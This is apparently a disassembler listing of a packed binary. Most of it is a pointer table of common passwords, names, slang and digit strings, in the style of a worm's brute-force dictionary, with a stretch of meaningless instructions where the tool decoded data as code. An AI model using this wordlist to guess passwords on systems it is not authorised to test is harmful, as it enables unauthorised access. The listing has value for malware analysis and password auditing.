		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
; ---------------------------------------------------------------------------

loc_42DAA4:				; CODE XREF: .nsp0:loc_42DAA4j
		jz	short loc_42DAA4
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[esi+edi*8+42h], ah
		add	[eax-2], bl
		inc	edx
		add	[esi+edi*8+42h], cl
		add	[esi+edi*8+42h], al
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[eax], ch
		inc	byte ptr [edx+0]
		and	dh, bh
		inc	edx
		add	[eax], bl
		inc	byte ptr [edx+0]
		or	al, 0FEh
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	ah, dh
		std
		inc	edx
		add	ah, ch
		std
		inc	edx
		add	ah, ah
		std
		inc	edx
		add	ah, bl
		std
		inc	edx
		add	ah, dl
		std
		inc	edx
		add	ah, cl
		std
		inc	edx
		add	al, al
		std
		inc	edx
		add	[eax-53FFBD03h], bh
		std
		inc	edx
		add	[eax-67FFBD03h], ah
		std
		inc	edx
		add	[eax-77FFBD03h], dl
		std
		inc	edx
		add	[eax+780042FDh], al
		std
		inc	edx
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	[eax], bh
		std
		inc	edx
		add	[eax], dh
		std
		inc	edx
		add	[eax], ch
		std
		inc	edx
		add	ds:0FD140042h[edi*8], bl
		inc	edx
		add	ds:0FD040042h[edi*8], cl
		inc	edx
		add	ah, bh
		cld
		inc	edx
		add	ah, dh
		cld
		inc	edx
		add	ah, ch
		cld
		inc	edx
		add	ah, ah
		cld
		inc	edx
		add	ah, bl
		cld
		inc	edx
		add	ah, dl
		cld
		inc	edx
		add	ah, cl
		cld
		inc	edx
		add	ah, al
		cld
		inc	edx
		add	[esp+edi*8-34BFFBEh], bh
		inc	edx
		add	[esp+edi*8-35FFFBEh], ch
		inc	edx
		add	[esp+edi*8-377FFBEh], dl
		inc	edx
		add	[eax+780042FCh], al
		cld
		inc	edx
		add	[eax-4], dh
		inc	edx
		add	[eax-4], ch
		inc	edx
		add	[eax-4], ah
		inc	edx
		add	[eax-4], bl
		inc	edx
		add	[eax-4], dl
		inc	edx
		add	[esp+edi*8+42h], al
		add	[eax], bh
		cld
		inc	edx
		add	[eax], dh
		cld
		inc	edx
		add	[eax], ch
		cld
		inc	edx
		add	[eax], ah
		cld
		inc	edx
		add	[eax], bl
		cld
		inc	edx
		add	[eax], dl
		cld
		inc	edx
		add	[eax], cl
		cld
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42F3FC
		dd offset dword_42F3F8
		dd offset dword_42F3F4
		dd offset dword_42F3F0
		dd offset dword_42F3E8
		dd offset dword_42F3E0
		dd offset dword_42F3D8
		dd offset dword_42F3CC
		dd offset loc_4263DB+1
		dd offset dword_42F3C8
		dd offset off_42F3C4
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F3B8	; "+"
		dd offset asc_42F3B4	; "++"
		dd offset asc_42F3B0	; "+++"
		dd offset asc_42F3A8	; "++++"
		dd offset asc_42F3A4	; "-"
		dd offset asc_42F3A0	; "--"
		dd offset asc_42F3A0	; "--"
		dd offset asc_42F398	; "----"
		dd offset asc_42F394	; "-+"
		dd offset asc_42F38C	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F374	; "$"
		dd offset asc_42F370	; "$$"
		dd offset asc_42F36C	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_426CB0	; "*"
		dd offset asc_42F31C	; "**"
		dd offset asc_42F318	; "***"
		dd offset asc_42F310	; "****"
		dd offset asc_42F308	; "*****"
		dd offset asc_42F300	; "******"
		dd offset asc_42F2F8	; "*******"
		dd offset asc_42F2EC	; "********"
		dd offset asc_42F2E0	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
